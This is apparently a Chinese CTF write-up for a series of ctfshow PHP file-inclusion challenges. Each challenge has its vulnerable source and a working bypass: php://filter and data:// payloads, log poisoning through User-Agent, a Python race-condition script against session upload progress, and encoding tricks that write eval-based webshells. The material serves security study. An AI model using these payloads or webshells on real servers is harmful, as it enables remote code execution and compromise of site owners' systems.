目录
环境要求
- allow_url_fopen=On(默认为On) 规定是否允许从远程服务器或者网站检索数据
- allow_url_include=On(php5.2之后默认为Off) 规定是否允许include/require远程文件
WEB78
题目:
<?php
if(isset($_GET['file'])){
$file = $_GET['file'];
include($file);
}else{
highlight_file(__FILE__);
}
知识点:php伪协议
php://filter可以获取指定文件源码。当它与包含函数结合时,php://filter流会被当作php文件执行。所以我们一般对其进行编码,让其不执行。从而导致 任意文件读取。
1、php://input
php://input可以访问请求的原始数据的只读流,将post请求的数据当作php代码执行。
与include连用、当传入的参数作为文件名打开时,可以将参数设为php://input,同时post想设置的文件内容,php执行时会将post内容当作文件内容。从而导致任意代码执行。
phpinput不支持post提交,需要用raw方式
hackbar不支持raw方式
请求的参数格式是原生(raw)的内容
方法1:
直接构造:?file=flag.php ,没有得到想要的结果,可能是被解析了
利用伪协议读取文件
payload:?file=php://filter/convert.base64-encode/resource=flag.php
然后base64解码即可
方法2:
bp抓包,给file传参?file=php://input然后在post输出想要执行的代码
WEB79
题目:
<?php
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
include($file);
}else{
highlight_file(__FILE__);
}
知识点:str_replace
分析:相对于上一题,$file中的php转换了???即过滤了php,所以php协议不能用了
方法1:大小写绕过(str_replace区分大小写、str_ireplace不区分)
方法2:
data://协议
php5.2.0起,数据流封装器开始有效,主要用于数据流的读取。如果传入的数据是PHP代码,就会执行代码
payload:?file=data://text/plain,<?= system('tac flag.???');?>
逗号后面是要执行的php代码
或者
payload:?file=data://text/plain;base64,PD89IHN5c3RlbSgndGFjIGZsYWcuPz8/Jyk7Pz4=
逗号后面是要执行的php代码的base64加密形式
注:data://可以用data:代替
WEB80
题目:
<?php
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
include($file);
}else{
highlight_file(__FILE__);
}
知识点:日志文件包含,伪造UA写入php代码
日志文件包含
日志文件记录了服务器收到的每一次请求的
IP、访问时间、URL、User-Agent,这4项中的前两项的值都是我们无法控制的,我们只能在自己可以控制的字段上做手脚,其中URL字段由于URL编码的存在,空格等一些符号会自动进行url编码,存到日志当中时,不是一个正确的php语句,无法成功执行,而User-Agent则不会被进行任何二次处理,我们发什么内容,服务器就将其原封不动的写入日志。
访问日志的位置和文件名在不同的系统上会有所差异
apache一般是/var/log/apache/access.log
apache2一般是/var/log/apache2/access.log
nginx的log在/var/log/nginx/access.log和/var/log/nginx/error.log
分析:php和data都被过滤了
方法1:继续使用php大小写绕过
方法2:日志文件包含
nginx和apache的日志文件包含也是一个考点
这个Linux的nginx日志文件路径是/var/log/nginx/access.log,要在用文件包含漏洞读取日志文件的同时,修改ua头为我们想要执行的命令(burp中go要点两次才能执行命令,第一次将代码写入日志,第二次执行代码
且操作一定不能出问题,如果报错就要销毁容器从头再来
因为php语法错误后不再解释执行后面代码,语法错误后,后面不管语法对不对都不执行了。我们包含了日志文件,如果日志文件中我们插入了错误的php代码,那么我们再次执行对的代码时会先执行那个错误的php代码,因为报错,所以后面正确的就不会执行了。
先写入日志
然后在包含日志、执行代码。
方法3:远程文件包含
远程文件包含可以包含其他主机上的文件,并当成php代码执行。
要实现远程
文件包含的话,php配置的allow_url_include = on
必须为on
payload:?file=http://***.***.***.***/1.txt
1.txt里面写入代码。
WEB81
题目:
<?php
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
$file = str_replace(":", "???", $file);
include($file);
}else{
highlight_file(__FILE__);
}
分析:因为过滤了冒号,所以远程文件包含和大小写绕过不行了,只能用日志包含
WEB82-session文件包含
题目:
<?php
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
$file = str_replace(":", "???", $file);
$file = str_replace(".", "???", $file);
include($file);
}else{
highlight_file(__FILE__);
}
知识点:
利用PHP_SESSION_UPLOAD_PROGRESS进行文件包含
利用session.upload_progress进行文件包含和反序列化渗透
分析:过滤了点,所以日志包含也不行了。
PHP里面唯一我们能控制的没有后缀的文件就是session文件
利用PHP_SESSION_UPLOAD_PROGRESS写入session文件加条件竞争达到文件包含的目的
1. session.upload_progress.enabled = on
2. session.upload_progress.cleanup = on(默认开启)
3. session.upload_progress.prefix = "upload_progress_"(默认)
4. session.upload_progress.name = "$PHP_SESSION_UPLOAD_PROGRESS"(默认)
enabled=on
表示upload_progress
功能开始,也意味着当浏览器向服务器上传一个文件时,php将会把此次文件上传的详细信息(如上传时间、上传进度等)存储在session当中 ;
cleanup=on
表示当文件上传结束后,php将会立即清空对应session文件中的内容
name
当它出现在表单中,php将会报告上传进度,最大的好处是,它的值可控也就是PHP_SESSION_UPLOAD_PROGRESS的值可控;
prefix+name
将表示为session中的键名,
方法:
大体思路为:
1、post一个与ini中设置的session.upload_progress.name的同名变量(默认的name为“PHP_SESSION_UPLOAD_PROGRESS”),那么就会返回上传文件的实时进度并写入session文件中。session文件的内容为:(它会在$_SESSION中添加一组数据, 索引是session.upload_progress.prefix与 session.upload_progress.name连接在一起的值)
2、如果我们post传递PHP_SESSION_UPLOAD_PROGRESS的值为一句话木马
比如为:<?php system('ls');?>
3、同时,我们在cookie里面设置名字:PHPSESSID,值:flag,(目的是设置session文件,因为这样我们才能知道实时进度(一句话木马)上传到哪里了);那么在/tem/sess_flag这个文件的内容就为upload_progress_<?php system('ls')?>。然后在include(/tem/sess_flag)就会执行后面的php代码从而成功执行rce。
4、虽然文件上传结束后,php会清空session文件中的内容,但是如果我们边上传边去访问/tem/sess_aaa进行条件竞争,那么就有可能在删除session文件前访问到这个文件。
我们能够创建session文件的原因:session里有一个默认选项,session.use_strict_mode默认值为off。也就是说此时用户是可以自己定义Session ID的。比如,我们在Cookie里设置PHPSESSID=aaa,PHP将会在服务器上创建一个文件:/tmp/sess_aaa”。即使此时用户没有初始化Session,PHP也会自动初始化Session,并产生一个键值。这个键值ini.get("session.upload_progress.prefix")+由我们构造的session.upload_progress.name值组成,最后被写入sess_aaa文件里。
注:在Linux系统中,session文件一般的默认存储位置为
/var/lib/php/session
/var/lib/php
/var/lib/php/sessions
/tmp/
/tmp/sessions/
本题型一律采用/tmp形式
但是session.upload_progress.cleanup默认是开启的,一旦读取了所有POST数据,它就会清除进度信息,把我们session文件里的内容全部删除。所以这里我们需要利用条件竞争来读取session文件。
bp抓包方法-手动爆破:
1、先构造一个上传文件的页面,对环境上传一个任意的文件,内容也任意,然后抓包。
脚本如下:
<!DOCTYPE html>
<html>
<body>
<form action="http://26bfc8ed-f28a-46ef-94a6-bbff5bb92e6b.challenge.ctf.show:8080/" method="POST" enctype="multipart/form-data">
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" />
<input type="file" name="file" />
<input type="submit" value="submit" />
</form>
</body>
</html>
2、 修改上传文件包
注意两点:
(1)设置Cookie:PHPSEESSID=flag、这样我们的session就为/tmp/sess_flag
(2)设置同名变量PHP_SESSION_UPLOAD_PROGRESS,设置值为我们想要存入session文件的代码。(把第一步中value=123的改掉即可,这里对123加上§§是为了进行爆破payload用)
3、包含session文件,抓包
这里§a§是为了爆破payload用
4、进行爆破
将两个爆破项目的payload设置如下:
payload数量可以设置10000次,也可以使用下面的无数次。
设置线程数(这里用了30)
然后一起爆破(先对上传文件包点击attack,在对/tmp/sess_flag文件包含包点击attack,也可以不管顺序,因为爆破次数有很多)
爆破结果:
最后将ls改成tac fl0g.php就行
脚本方法:
脚本:
import requests
import io
import threading
url='http://08d4a04e-19b3-4049-8a81-e9c6226eee2f.challenge.ctf.show:8080/'
#设置PHPSESSID的值
sessionid='ctfshow'
data={"1":"file_put_contents('/var/www/html/tao.php','<?php eval($_POST[2]);?>');"}
#为了进行条件竞争,需要一边写一边读
#进行上传文件时需要post传递名为PHP_SESSION_UPLOAD_PROGRESS值为一句话木马
def write(session):
fileBytes = io.BytesIO(b'a'*1024*50) #生产一个50k的文件
while True:
response=session.post(url,
data={'PHP_SESSION_UPLOAD_PROGRESS':'<?php eval($_POST[1]);?>'},
cookies={'PHPSESSID':sessionid},
files={'file':('ctfshow.jpg',fileBytes)} #设置文件名字和内容
)
#读取session文件,这里文件为/tmp/sess_ctfshow
def read(session):
while True:
response=session.post(url+'?file=/tmp/sess_'+sessionid,data=data)
response2=session.get(url+'tao.php');
if response2.status_code==200:
print('++++++++++++++++++++')
else:
print(response2.status_code)
if __name__=='__main__':
#开启多线程进行竞争
evnet=threading.Event()
with requests.session() as session:
for i in range(20):
threading.Thread(target=write,args=(session,)).start()
for i in range(20):
threading.Thread(target=read,args=(session,)).start()
evnet.set()
出现+号后然后访问url/tao.php。post传参2=system('tac fl0g.php');
其他问题:
include包含文件(不管是不是php文件),如果这个文件里面有php代码是可以执行的。
WEB83
题目:
Warning: session_destroy(): Trying to destroy uninitialized session
in /var/www/html/index.php on line 14
<?php
session_unset();
session_destroy();
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
$file = str_replace(":", "???", $file);
$file = str_replace(".", "???", $file);
include($file);
}else{
highlight_file(__FILE__);
}
分析:多了两个函数
session_unset():
释放当前在内存中已经创建的所有$_SESSION变量,但不删除session文件以及不释放对应的session_idsession_destroy():
删除当前用户对应的session文件以及释放sessionid,内存中的$_SESSION变量内容依然保留, 也不会重置会话 cookie
表面上,按道理来说:这两个函数都已经将有关session的东西都删除了,我们是无法进行session文件包含的。但是:我们的脚本或者bp仍然能够进行包含。原因在于多线程竞争的含义
知识点:
什么是多线程竞争
线程是非独立的,同一个进程里线程是数据共享的,当当各个线程访问数据资源时会出现竞争状态即:
数据几乎同步会被多个线程占用,造成数据混乱,即所谓的线程不安全 。
这样,因为在执行session_unset()与执行session_destroy()的时候有间隔,他们与include($file)直接也会有间隔,我们其中的一个线程在删除session文件,而另一个线程刚刚又创建了一个session文件,然后前面的线程又开始包含,那么还是能够正常包含。
怎么解决多线程竞争问题?---锁
锁的好处: 确保了某段关键代码(共享数据资源)只能由一个线程从头到尾完整地执行能解决多线程资 源竞争下的原子操作问题。
锁的坏处: 阻止了多线程并发执行,包含锁的某段代码实际上只能以单线程模式执行,效率就大大地下 降了
锁的致命问题: 死锁
方法:
还是web82的方法、同样的道理:多线程竞争理解
WEB84
题目:
<?php
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
$file = str_replace(":", "???", $file);
$file = str_replace(".", "???", $file);
system("rm -rf /tmp/*");
include($file);
}else{
highlight_file(__FILE__);
}
system 这句话会删除/tem/下面的所有文件,且不能恢复
-f:强制删除文件或目录;
-r或-R:递归处理,将指定目录下的所有文件与子目录一并处理;
还是web82的方法、同样的道理:多线程竞争理解
WEB85
题目:
<?php
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
$file = str_replace(":", "???", $file);
$file = str_replace(".", "???", $file);
if(file_exists($file)){
$content = file_get_contents($file);
if(strpos($content, "<")>0){
die("error");
}
include($file);
}
}else{
highlight_file(__FILE__);
}
知识点:
file_exists — 检查文件或目录是否存在,如果由指定的文件或目录存在则返回
true
,否则返回false
。file_get_contents — 将整个文件读入一个字符串,函数返回读取到的数据, 或者在失败时返回
false
。strpos — 查找字符串首次出现的位置,返回 needle 存在于
haystack
字符串起始的位置(独立于 offset)。同时注意字符串位置是从0开始,而不是从1开始的。如果没找到 needle,将返回false
。
方法:
还是web82的方法、同样的道理:多线程竞争理解
原因是:
session.upload_progress.cleanup = on(默认开启)
cleanup=on
表示当文件上传结束后,php将会立即清空对应session文件中的内容
我们在设置session文件后,被删除了,但是一个线程刚好进行if判断,文件存在,且文件内容为空,那么就会准备执行include,同时另一个线程刚好设置了完整的session文件,那么就会被包含进去。
WEB86
题目:
<?php
define('还要秀?', dirname(__FILE__));
set_include_path(还要秀?);
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
$file = str_replace(":", "???", $file);
$file = str_replace(".", "???", $file);
include($file);
}else{
highlight_file(__FILE__);
}
知识点:
define — 定义一个常量
dirname:返回 path 的父目录。 如果在
path
中没有斜线,则返回一个点('.
'),表示当前目录。否则返回的是把path
中结尾的/component
(最后一个斜线以及后面部分)去掉之后的字符串。set_include_path — 设置include函数中 include_path 配置选项,成功时返回旧的 include_path或者在失败时返回
false
。被包含文件先按参数给出的路径寻找,如果没有给出目录(只有文件名)时则按照 include_path指定的目录寻找。如果在 include_path下没找到该文件则
include
最后才在调用脚本文件所在的目录和当前工作目录下寻找。如果最后仍未找到文件则include
结构会发出一条警告;这一点和require 不同,后者会发出一个致命错误。如果定义了路径——不管是绝对路径(在 Windows 下以盘符或者
\
开头,在 Unix/Linux 下以/
开头)还是当前目录的相对路径(以.
或者..
开头)——include_path都会被完全忽略。例如一个文件以../
开头,则解析器会在当前目录的父目录下寻找该文件。
方法:
还是web82的方法、同样的道理:多线程竞争理解
因为设置了目录/tmp/sess_flag,所以set_include_path对我们的脚本没有用。
WEB87
题目:
<?php
if(isset($_GET['file'])){
$file = $_GET['file'];
$content = $_POST['content'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
$file = str_replace(":", "???", $file);
$file = str_replace(".", "???", $file);
file_put_contents(urldecode($file), "<?php die('大佬别秀了');?>".$content);
}else{
highlight_file(__FILE__);
}
知识点:
谈一谈php://filter的妙用
file_put_contents — 将一个字符串写入文件
通常一个字符是一个字节,但是根据编码不同,一个字符也可能等于两个或者三个字符。
ASCII码:
一个英文字母(不分大小写)占一个字节的空间,一个中文汉字占两个字节的空间。UTF-8编码:
一个英文字符等于一个字节,一个中文(含繁体)等于三个字节。Unicode编码:
一个英文等于两个字节,一个中文(含繁体)等于两个字节。
符号:
英文标点占一个字节,中文标点占两个字节。举例:英文句号“.”占1个字节的大小,中文句号“。”占2个字节的大小。
base64转换后的字符串的数量肯定是4的倍数, 不足4的末尾补‘=’
分析:
向文件输入内容的时候会在开头写入死亡函数,从而导致直接结束代码的执行,我们要做的就是绕过这个死亡函数。
编码时,转换成Base64的最小单位就是3个字节
解码时,4个字节为一组;PHP在解码base64时,遇到不在其中的字符时,将会忽略这些字符,仅将合法字符组成一个新的字符串进行解码(Base64的字符选用了"A-Z、a-z、0-9、+、/" 64个可打印字符)所以,通过base64解码过滤之后就只有 phpdie6 个字符我们就要添加2个字符让phpdie和我们增加的两个字符组合起来进行解码。即可抹掉死亡函数。
其次:因为filename那里需要urldecode,而get传参的时候会进行一次urldecode,所以我们的filename需要两次urlencode。?file=php://filter/write=convert.base64-decode/resource=1.php这里需要进行url全编码,不然php会被过滤掉。
将<?php eval($_POST[1]);?>进行base64编码为:PD9waHAgZXZhbCgkX1BPU1RbMV0pOz8+
注意如果直接传入content,这里的+会被当做空格处理,所以在base64解码的时候就会忽略空格,自动在后面加上一个=:即PD9waHAgZXZhbCgkX1BPU1RbMV0pOz8=
解码后:<?php eval($_POST[1]);? 这样传进去就会报错
解决方法:将+进行urlencode
方法1:
payload:?file=%25%37%30%25%36%38%25%37%30%25%33%41%25%32%46%25%32%46%25%36%36%25%36%39%25%36%43%25%37%34%25%36%35%25%37%32%25%32%46%25%37%37%25%37%32%25%36%39%25%37%34%25%36%35%25%33%44%25%36%33%25%36%46%25%36%45%25%37%36%25%36%35%25%37%32%25%37%34%25%32%45%25%36%32%25%36%31%25%37%33%25%36%35%25%33%36%25%33%34%25%32%44%25%36%34%25%36%35%25%36%33%25%36%46%25%36%34%25%36%35%25%32%46%25%37%32%25%36%35%25%37%33%25%36%46%25%37%35%25%37%32%25%36%33%25%36%35%25%33%44%25%33%31%25%32%45%25%37%30%25%36%38%25%37%30
//即?file=php://filter/write=convert.base64-decode/resource=1.php
//对写的内容进行base64编码。
post:content=aaPD9waHAgZXZhbCgkX1BPU1RbMV0pOz8%2B
//<?php eval($_POST[1]);?>
//这里加上两个a是为两和phpdie组成8个字符进行解码。
最后访问1.php、post输入system('tac fl0g.php');即可
ps:strip_tags在php7.3.0以上的环境下会发生段错误,从而导致无法写入,但是在php5的环境下则不受此影响
方法2:
利用rot13编码
条件:在PHP不开启short_open_tag(短标签)时
payload:
?file=%25%37%30%25%36%38%25%37%30%25%33%41%25%32%46%25%32%46%25%36%36%25%36%39%25%36%43%25%37%34%25%36%35%25%37%32%25%32%46%25%37%37%25%37%32%25%36%39%25%37%34%25%36%35%25%33%44%25%37%33%25%37%34%25%37%32%25%36%39%25%36%45%25%36%37%25%32%45%25%37%32%25%36%46%25%37%34%25%33%31%25%33%33%25%32%46%25%37%32%25%36%35%25%37%33%25%36%46%25%37%35%25%37%32%25%36%33%25%36%35%25%33%44%25%33%33%25%32%45%25%37%30%25%36%38%25%37%30
//?file=php://filter/write=string.rot13/resource=3.php
//对写的内容进行rot13编码。
content=<?cuc riny($_CBFG[1]);?>
//<?php eval($_POST[1]);?>
//rot13两次解码后会变成原来的样子。所以我们将传入的content进行一次rot13编码,然后在写入3.php的时候在进行rot13编码,那么写入文件的时候就会写入<?php eval($_POST[1]);?>。
//而<?php die('大佬别秀了');?>只会进行一次rot13编码,写入文件的时候就不是一个正常的php代码格式。
WEB88
题目:
<?php
if(isset($_GET['file'])){
$file = $_GET['file'];
if(preg_match("/php|\~|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\_|\+|\=|\./i", $file)){
die("error");
}
include($file);
}else{
highlight_file(__FILE__);
}
分析:
这里没有过滤data且没有过滤:。所以我们可以使用data协议
方法:
payload:
?file=data://text/plain;base64,PD9waHAgZXZhbCgkX1BPU1RbJ21vbmljYSddKTs/Pnh4
post:monica=system('tac f*');
//?file=data://text/plain;base64,<?php eval($_POST['monica']);?>xx
这里在后面添加两个xx是为了不让后面的php代码base64加密之后出现=,有几个=就加几个字符(其实也可以直接将=删除,因为base64在解码的时候会自动删除=)。如果加密后出现出现+就只能换一个php代码。
WEB116
一道misc加简单的文件包含
方法:下载视频,用binwalk打开(或者010editor),foremost分离,发现图片,提取源码,传参?file=flag.php,再下载视频用winhex打开即可(或者传参后用bp抓包)
WEB117
题目:
<?php
highlight_file(__FILE__);
error_reporting(0);
function filter($x){
if(preg_match('/http|https|utf|zlib|data|input|rot13|base64|string|log|sess/i',$x)){
die('too young too simple sometimes naive!');
}
}
$file=$_GET['file'];
$contents=$_POST['contents'];
filter($file);
file_put_contents($file, "<?php die();?>".$contents);
分析:没有过滤php,那么我们就可以通过php://filter/write来写入文件,然后通过编码绕过死亡函数,因为这里过滤了base64和rot13,string,所以得用其他的编码。
知识点:
用ucs-2编码
convert.iconv.
这个过滤器需要 php 支持
iconv
,而 iconv 是默认编译的。使用convert.iconv.*过滤器等同于用iconv()
函数处理所有的流数据。 然而 我们可以留意到iconv — 字符串按要求的字符编码来转换
;;其用法:iconv ( string $in_charset , string $out_charset , string $str ) : string
将字符串str
从in_charset
转换编码到out_charset
。 就其功能而论,有点类似于base_convert
的功效一样,只不过二者还是有作用的区别,只是都是涉及编码转换的问题而已;(可以类比);由此记得国赛的一道love_math的题目,有了base_convert之后就可以尽情的转换从而getshell;那么我们就可以借用此过滤器,从而进行编码的转换,写入我们需要的代码,然后转换掉死亡代码,其实本质上来说也是利用了编码的转换;
方法:
payload:
get: ?file=php://filter/write=convert.iconv.UCS-2LE.UCS-2BE/resource=monica.php
post:contents=?<hp pvela$(P_SO[T]1;)>?
//ucs大小写都行
然后访问monica.php
post:1=system('tac f*');
//原理和rot13一样,两次转换后变成了原来的样子
echo iconv("UCS-2LE","UCS-2BE",'<?php die();?>?<hp pvela$(P_SO[T]1;)>?');
输出如下,使得die失效,并且我们的一句话木马可以使用
?<hp pid(e;)>?<?php eval($_POST[1]);?>